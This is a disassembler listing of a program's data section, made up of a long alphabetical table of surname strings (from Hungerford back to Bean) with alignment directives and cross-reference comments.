___:0042E14Co align 4 aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042E148o align 10h aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042E144o align 4 aHuey db 'Huey',0 ; DATA XREF: ___:0042E140o align 4 aHoy db 'Hoy',0 ; DATA XREF: ___:0042E13Co aHoward db 'Howard',0 ; DATA XREF: ___:0042E138o align 10h aHottle db 'Hottle',0 ; DATA XREF: ___:0042E134o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042E130o aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042E12Co aHorsley db 'Horsley',0 ; DATA XREF: ___:0042E128o aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042E124o aHooker db 'Hooker',0 ; DATA XREF: ___:0042E120o align 10h aHolzman db 'Holzman',0 ; DATA XREF: ___:0042E11Co aHolway db 'Holway',0 ; DATA XREF: ___:0042E118o align 10h aHolter db 'Holter',0 ; DATA XREF: ___:0042E114o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042E110o aHolmes db 'Holmes',0 ; DATA XREF: ___:0042E10Co align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042E108o align 10h aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042E104o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042E100o aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042E0FCo align 4 aHock db 'Hock',0 ; DATA XREF: ___:0042E0F8o align 4 aHoang db 'Hoang',0 ; DATA XREF: ___:0042E0F4o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042E0F0o align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042E0ECo align 10h aHind db 'Hind',0 ; DATA XREF: ___:0042E0E8o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042E0E4o align 4 aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042E0E0o align 4 aHeubert db 'Heubert',0 ; DATA XREF: ___:0042E0DCo aHester db 'Hester',0 ; DATA XREF: ___:0042E0D8o align 4 aHerrera db 'Herrera',0 ; DATA XREF: ___:0042E0D4o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042E0D0o align 10h aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042E0CCo align 4 aHenery db 'Henery',0 ; DATA XREF: ___:0042E0C8o align 4 aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042E0C4o align 10h aHelprin db 'Helprin',0 ; DATA XREF: ___:0042E0C0o aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042E0BCo align 4 aHellman db 'Hellman',0 ; DATA XREF: ___:0042E0B8o aHeiland db 'Heiland',0 ; DATA XREF: ___:0042E0B4o aHeft db 'Heft',0 ; DATA XREF: ___:0042E0B0o align 4 aHeermans db 'Heermans',0 ; DATA XREF: ___:0042E0ACo align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042E0A8o align 4 aHaynes db 'Haynes',0 ; DATA XREF: ___:0042E0A4o align 4 aHayes db 'Hayes',0 ; DATA XREF: ___:0042E0A0o align 4 aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042E09Co align 4 aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042E098o align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042E094o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042E090o align 4 aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042E08Co align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042E088o aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042E084o align 4 aHarlow db 'Harlow',0 ; DATA XREF: ___:0042E080o align 4 aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042E07Co align 10h aHarding db 'Harding',0 ; DATA XREF: ___:0042E078o aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042E074o aHand db 'Hand',0 ; DATA XREF: ___:0042E070o align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042E06Co align 4 aHamer db 'Hamer',0 ; DATA XREF: ___:0042E068o align 4 aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042E064o align 4 aHalpert db 'Halpert',0 ; DATA XREF: ___:0042E060o aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042E05Co align 10h aHalkias db 'Halkias',0 ; DATA XREF: ___:0042E058o aHaley db 'Haley',0 ; DATA XREF: ___:0042E054o align 10h aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042E050o align 4 aHackman db 'Hackman',0 ; DATA XREF: ___:0042E04Co aHaar db 'Haar',0 ; DATA XREF: ___:0042E048o align 4 aHa db 'Ha',0 ; DATA XREF: ___:0042E044o align 10h aGuo db 'Guo',0 ; DATA XREF: ___:0042E040o aGunn db 'Gunn',0 ; DATA XREF: ___:0042E03Co align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042E038o align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042E034o align 10h aGruner db 'Gruner',0 ; DATA XREF: ___:0042E030o align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042E02Co align 4 aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042E028o align 10h aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042E024o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042E020o align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042E01Co align 4 aGravell db 'Gravell',0 ; DATA XREF: ___:0042E018o aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042E014o align 4 aGoody db 'Goody',0 ; DATA XREF: ___:0042E010o align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042E00Co align 4 aGood db 'Good',0 ; DATA XREF: ___:0042E008o align 10h aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042E004o align 4 aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042E000o align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DFFCo aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DFF8o align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042DFF4o aGist db 'Gist',0 ; DATA XREF: ___:0042DFF0o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DFECo align 4 aGill db 'Gill',0 ; DATA XREF: ___:0042DFE8o align 4 aGili db 'Gili',0 ; DATA XREF: ___:0042DFE4o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DFE0o aGibson db 'Gibson',0 ; DATA XREF: ___:0042DFDCo align 4 aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DFD8o aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DFD4o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DFD0o aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DFCCo align 4 aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DFC8o align 10h aGeller db 'Geller',0 ; DATA XREF: ___:0042DFC4o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DFC0o aGarman db 'Garman',0 ; DATA XREF: ___:0042DFBCo align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DFB8o align 4 aGambini db 'Gambini',0 ; DATA XREF: ___:0042DFB4o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DFB0o align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DFACo align 10h aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DFA8o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DFA4o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DFA0o align 10h aFurth db 'Furth',0 ; DATA XREF: ___:0042DF9Co align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042DF98o align 10h aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DF94o align 4 aFrye db 'Frye',0 ; DATA XREF: ___:0042DF90o align 4 aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DF8Co align 10h aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DF88o aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DF84o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DF80o align 4 aFried db 'Fried',0 ; DATA XREF: ___:0042DF7Co align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DF78o align 10h aFreid db 'Freid',0 ; DATA XREF: ___:0042DF74o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DF70o align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042DF6Co align 10h aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DF68o align 10h aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DF64o align 4 aFossi db 'Fossi',0 ; DATA XREF: ___:0042DF60o align 4 aFossey db 'Fossey',0 ; DATA XREF: ___:0042DF5Co align 4 aFortier db 'Fortier',0 ; DATA XREF: ___:0042DF58o aFortes db 'Fortes',0 ; DATA XREF: ___:0042DF54o align 4 aForester db 'Forester',0 ; DATA XREF: ___:0042DF50o align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042DF4Co align 10h aFlores db 'Flores',0 ; DATA XREF: ___:0042DF48o align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042DF44o align 10h aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DF40o aFisk db 'Fisk',0 ; DATA XREF: ___:0042DF3Co align 4 aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DF38o aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DF34o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DF30o aFink db 'Fink',0 ; DATA XREF: ___:0042DF2Co align 4 aField db 'Field',0 ; DATA XREF: ___:0042DF28o align 4 aFido db 'Fido',0 ; DATA XREF: ___:0042DF24o align 4 aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DF20o align 4 aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DF1Co align 10h aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DF18o align 4 aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DF14o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042DF10o aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DF0Co aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DF08o align 10h aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DF04o align 4 aFates db 'Fates',0 ; DATA XREF: ___:0042DF00o align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DEFCo align 4 aFarren db 'Farren',0 ; DATA XREF: ___:0042DEF8o align 4 aFarone db 'Farone',0 ; DATA XREF: ___:0042DEF4o align 4 aFaris db 'Faris',0 ; DATA XREF: ___:0042DEF0o align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DEECo aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DEE8o align 4 aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DEE4o align 4 aFagan db 'Fagan',0 ; DATA XREF: ___:0042DEE0o align 4 aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DEDCo aEverett db 'Everett',0 ; DATA XREF: ___:0042DED8o aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DED4o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042DED0o align 10h aEstes db 'Estes',0 ; DATA XREF: ___:0042DECCo align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DEC8o align 4 aErez db 'Erez',0 ; DATA XREF: ___:0042DEC4o align 4 aErdos db 'Erdos',0 ; DATA XREF: ___:0042DEC0o align 4 aErdman db 'Erdman',0 ; DATA XREF: ___:0042DEBCo align 4 aErbach db 'Erbach',0 ; DATA XREF: ___:0042DEB8o align 4 aEppling db 'Eppling',0 ; DATA XREF: ___:0042DEB4o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DEB0o aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DEACo aElvis db 'Elvis',0 ; DATA XREF: ___:0042DEA8o align 4 aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DEA4o align 10h aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DEA0o align 4 aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DE9Co align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DE98o aEdward db 'Edward',0 ; DATA XREF: ___:0042DE94o align 4 aEdner db 'Edner',0 ; DATA XREF: ___:0042DE90o align 4 aEdley db 'Edley',0 ; DATA XREF: ___:0042DE8Co align 4 aEckel db 'Eckel',0 ; DATA XREF: ___:0042DE88o align 4 aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DE84o aEardley db 'Eardley',0 ; DATA XREF: ___:0042DE80o aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DE7Co align 4 aDussault db 'Dussault',0 ; DATA XREF: ___:0042DE78o align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DE74o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DE70o align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DE6Co aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DE68o aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DE64o align 4 aDoug db 'Doug',0 ; DATA XREF: ___:0042DE60o align 4 aDoty db 'Doty',0 ; DATA XREF: ___:0042DE5Co align 4 aDosi db 'Dosi',0 ; DATA XREF: ___:0042DE58o align 4 aDorf db 'Dorf',0 ; DATA XREF: ___:0042DE54o align 4 aDore db 'Dore',0 ; DATA XREF: ___:0042DE50o align 4 aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DE4Co align 4 aDonner db 'Donner',0 ; DATA XREF: ___:0042DE48o align 4 aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DE44o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DE40o aDockery db 'Dockery',0 ; DATA XREF: ___:0042DE3Co aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DE38o aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DE34o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DE30o align 4 aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DE2Co align 10h aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DE28o aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DE24o align 4 aDicks db 'Dicks',0 ; DATA XREF: ___:0042DE20o align 4 aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DE1Co align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DE18o aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DE14o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042DE10o aDenham db 'Denham',0 ; DATA XREF: ___:0042DE0Co align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042DE08o aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DE04o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042DE00o align 4 aDeming db 'Deming',0 ; DATA XREF: ___:0042DDFCo align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DDF8o align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042DDF4o align 10h aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DDF0o align 10h aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DDECo align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DDE8o align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042DDE4o align 10h aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DDE0o aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DDDCo align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDD8o align 10h aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DDD4o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DDD0o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DDCCo aDavid db 'David',0 ; DATA XREF: ___:0042DDC8o align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DDC4o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DDC0o align 4 aDas db 'Das',0 ; DATA XREF: ___:0042DDBCo aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDB8o aDapice db 'Dapice',0 ; DATA XREF: ___:0042DDB4o align 4 aDante db 'Dante',0 ; DATA XREF: ___:0042DDB0o align 4 aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DDACo aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DDA8o aDaly db 'Daly',0 ; DATA XREF: ___:0042DDA4o align 4 aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042DDA0o align 10h aDasilva db 'daSilva',0 ; DATA XREF: ___:0042DD9Co aCyders db 'Cyders',0 ; DATA XREF: ___:0042DD98o align 10h aCvek db 'Cvek',0 ; DATA XREF: ___:0042DD94o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042DD90o align 10h aCurrier db 'Currier',0 ; DATA XREF: ___:0042DD8Co aCui db 'Cui',0 ; DATA XREF: ___:0042DD88o aCroxton db 'Croxton',0 ; DATA XREF: ___:0042DD84o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042DD80o align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042DD7Co aCrocker db 'Crocker',0 ; DATA XREF: ___:0042DD78o aCrawford db 'Crawford',0 ; DATA XREF: ___:0042DD74o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042DD70o aCounter db 'Counter',0 ; DATA XREF: ___:0042DD6Co aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042DD68o align 4 aCornish db 'Cornish',0 ; DATA XREF: ___:0042DD64o aCorey db 'Corey',0 ; DATA XREF: ___:0042DD60o align 4 aConnors db 'Connors',0 ; DATA XREF: ___:0042DD5Co aCondodina db 'Condodina',0 ; DATA XREF: ___:0042DD58o align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042DD54o aComstock db 'Comstock',0 ; DATA XREF: ___:0042DD50o align 4 aCompton db 'Compton',0 ; DATA XREF: ___:0042DD48o ; ___:0042DD4Co aCollis db 'Collis',0 ; DATA XREF: ___:0042DD44o align 4 aCollard db 'Collard',0 ; DATA XREF: ___:0042DD40o aColella db 'Colella',0 ; DATA XREF: ___:0042DD3Co aColdren db 'Coldren',0 ; DATA XREF: ___:0042DD38o aCoito db 'Coito',0 ; DATA XREF: ___:0042DD34o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042DD30o aClow db 'Clow',0 ; DATA XREF: ___:0042DD2Co align 4 aClifton db 'Clifton',0 ; DATA XREF: ___:0042DD28o aClement db 'Clement',0 ; DATA XREF: ___:0042DD24o aClark db 'Clark',0 ; DATA XREF: ___:0042DD20o align 4 aClancy db 'Clancy',0 ; DATA XREF: ___:0042DD1Co align 4 aClaffey db 'Claffey',0 ; DATA XREF: ___:0042DD18o aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042DD14o align 10h aCicero db 'Cicero',0 ; DATA XREF: ___:0042DD10o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042DD0Co align 4 aChurch db 'Church',0 ; DATA XREF: ___:0042DD08o align 4 aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042DD04o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042DD00o aChristopher db 'Christopher',0 ; DATA XREF: ___:0042DCFCo aChristie db 'Christie',0 ; DATA XREF: ___:0042DCF8o align 4 aChristiano db 'Christiano',0 ; DATA XREF: ___:0042DCF4o align 10h aChristian db 'Christian',0 ; DATA XREF: ___:0042DCF0o align 4 aChristenson db 'Christenson',0 ; DATA XREF: ___:0042DCECo aChinman db 'Chinman',0 ; DATA XREF: ___:0042DCE8o aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042DCE4o aChilds db 'Childs',0 ; DATA XREF: ___:0042DCE0o align 4 aChildress db 'Childress',0 ; DATA XREF: ___:0042DCDCo align 10h aChien db 'Chien',0 ; DATA XREF: ___:0042DCD8o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042DCD4o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042DCD0o align 10h aCherry db 'Cherry',0 ; DATA XREF: ___:0042DCCCo align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042DCC8o align 10h aCharles db 'Charles',0 ; DATA XREF: ___:0042DCC4o aChapman db 'Chapman',0 ; DATA XREF: ___:0042DCC0o aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042DCBCo aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042DCB8o align 4 aCavell db 'Cavell',0 ; DATA XREF: ___:0042DCB4o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042DCB0o align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042DCACo align 4 aCaspar db 'Caspar',0 ; DATA XREF: ___:0042DCA8o align 4 aCase db 'Case',0 ; DATA XREF: ___:0042DCA4o align 4 aCascio db 'Cascio',0 ; DATA XREF: ___:0042DCA0o align 4 aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042DC9Co align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042DC98o align 10h aCaroti db 'Caroti',0 ; DATA XREF: ___:0042DC94o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042DC90o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042DC8Co aCarlos db 'Carlos',0 ; DATA XREF: ___:0042DC88o align 4 aCarlin db 'Carlin',0 ; DATA XREF: ___:0042DC84o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042DC80o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042DC7Co aCapursi db 'Capursi',0 ; DATA XREF: ___:0042DC78o aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042DC74o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042DC70o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042DC6Co align 4 aCaperton db 'Caperton',0 ; DATA XREF: ___:0042DC68o align 10h aCapanni db 'Capanni',0 ; DATA XREF: ___:0042DC64o aCanley db 'Canley',0 ; DATA XREF: ___:0042DC60o align 10h aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042DC5Co align 4 aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042DC58o align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042DC54o align 10h aCage db 'Cage',0 ; DATA XREF: ___:0042DC50o align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042DC4Co align 10h aByerly db 'Byerly',0 ; DATA XREF: ___:0042DC48o align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042DC44o align 10h aBusetta db 'Busetta',0 ; DATA XREF: ___:0042DC40o aBurridge db 'Burridge',0 ; DATA XREF: ___:0042DC3Co align 4 aBurke db 'Burke',0 ; DATA XREF: ___:0042DC38o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042DC34o align 4 aBurden db 'Burden',0 ; DATA XREF: ___:0042DC30o align 4 aBunton db 'Bunton',0 ; DATA XREF: ___:0042DC2Co align 4 aBullard db 'Bullard',0 ; DATA XREF: ___:0042DC28o aBudding db 'Budding',0 ; DATA XREF: ___:0042DC24o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042DC20o align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042DC1Co aBrook db 'Brook',0 ; DATA XREF: ___:0042DC18o align 4 aBroca db 'Broca',0 ; DATA XREF: ___:0042DC14o align 4 aBritz db 'Britz',0 ; DATA XREF: ___:0042DC10o align 4 aBrinton db 'Brinton',0 ; DATA XREF: ___:0042DC0Co aBridges db 'Bridges',0 ; DATA XREF: ___:0042DC08o aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042DC04o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042DBFCo ; ___:0042DC00o align 10h aBrennan db 'Brennan',0 ; DATA XREF: ___:0042DBF8o aBrenan db 'Brenan',0 ; DATA XREF: ___:0042DBF4o align 10h aBreed db 'Breed',0 ; DATA XREF: ___:0042DBF0o align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042DBECo align 10h aBradach db 'Bradach',0 ; DATA XREF: ___:0042DBE8o aBradac db 'Bradac',0 ; DATA XREF: ___:0042DBE4o align 10h aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042DBE0o align 4 aBoyne db 'Boyne',0 ; DATA XREF: ___:0042DBDCo align 4 aBoym db 'Boym',0 ; DATA XREF: ___:0042DBD8o align 4 aBoyland db 'Boyland',0 ; DATA XREF: ___:0042DBD4o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042DBD0o align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042DBCCo align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042DBC8o align 10h aBowers db 'Bowers',0 ; DATA XREF: ___:0042DBC4o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042DBC0o align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042DBBCo aBoudin db 'Boudin',0 ; DATA XREF: ___:0042DBB8o align 4 aBotosh db 'Botosh',0 ; DATA XREF: ___:0042DBB4o align 4 aBothman db 'Bothman',0 ; DATA XREF: ___:0042DBB0o aBossi db 'Bossi',0 ; DATA XREF: ___:0042DBACo align 4 aBorden db 'Borden',0 ; DATA XREF: ___:0042DBA8o align 4 aBorack db 'Borack',0 ; DATA XREF: ___:0042DBA4o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042DBA0o align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042DB9Co align 10h aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042DB98o align 4 aBook db 'Book',0 ; DATA XREF: ___:0042DB94o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042DB90o align 10h aBoniface db 'Boniface',0 ; DATA XREF: ___:0042DB8Co align 4 aBonham db 'Bonham',0 ; DATA XREF: ___:0042DB88o align 4 aBoner db 'Boner',0 ; DATA XREF: ___:0042DB84o align 4 aBologna db 'Bologna',0 ; DATA XREF: ___:0042DB80o aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042DB7Co align 10h aBolick db 'Bolick',0 ; DATA XREF: ___:0042DB78o align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042DB74o align 10h aBlyth db 'Blyth',0 ; DATA XREF: ___:0042DB70o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042DB6Co aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042DB68o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042DB64o aBloch db 'Bloch',0 ; DATA XREF: ___:0042DB60o align 10h aBlizard db 'Blizard',0 ; DATA XREF: ___:0042DB5Co aBliss db 'Bliss',0 ; DATA XREF: ___:0042DB58o align 10h aBlanke db 'Blanke',0 ; DATA XREF: ___:0042DB54o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042DB50o align 4 aBlagg db 'Blagg',0 ; DATA XREF: ___:0042DB4Co align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042DB48o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042DB44o align 4 aBisho db 'Bisho',0 ; DATA XREF: ___:0042DB40o align 4 aBisema db 'Bisema',0 ; DATA XREF: ___:0042DB3Co align 4 aBir db 'Bir',0 ; DATA XREF: ___:0042DB38o aBinion db 'Binion',0 ; DATA XREF: ___:0042DB34o align 10h aBickel db 'Bickel',0 ; DATA XREF: ___:0042DB30o align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042DB2Co align 4 aBeynart db 'Beynart',0 ; DATA XREF: ___:0042DB28o aBetti db 'Betti',0 ; DATA XREF: ___:0042DB24o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042DB20o align 4 aBernston db 'Bernston',0 ; DATA XREF: ___:0042DB1Co align 10h aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042DB18o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042DB14o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042DB10o align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042DB0Co aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042DB08o align 10h aBelloc db 'Belloc',0 ; DATA XREF: ___:0042DB04o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042DB00o aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042DAFCo align 4 aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042DAF8o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042DAF4o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042DAF0o align 10h aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042DAECo align 4 aBelanger db 'Belanger',0 ; DATA XREF: ___:0042DAE8o align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042DAE4o aBedford db 'Bedford',0 ; DATA XREF: ___:0042DAE0o aBeder db 'Beder',0 ; DATA XREF: ___:0042DADCo align 10h aBeckman db 'Beckman',0 ; DATA XREF: ___:0042DAD8o aBean db 'Bean',0 ; 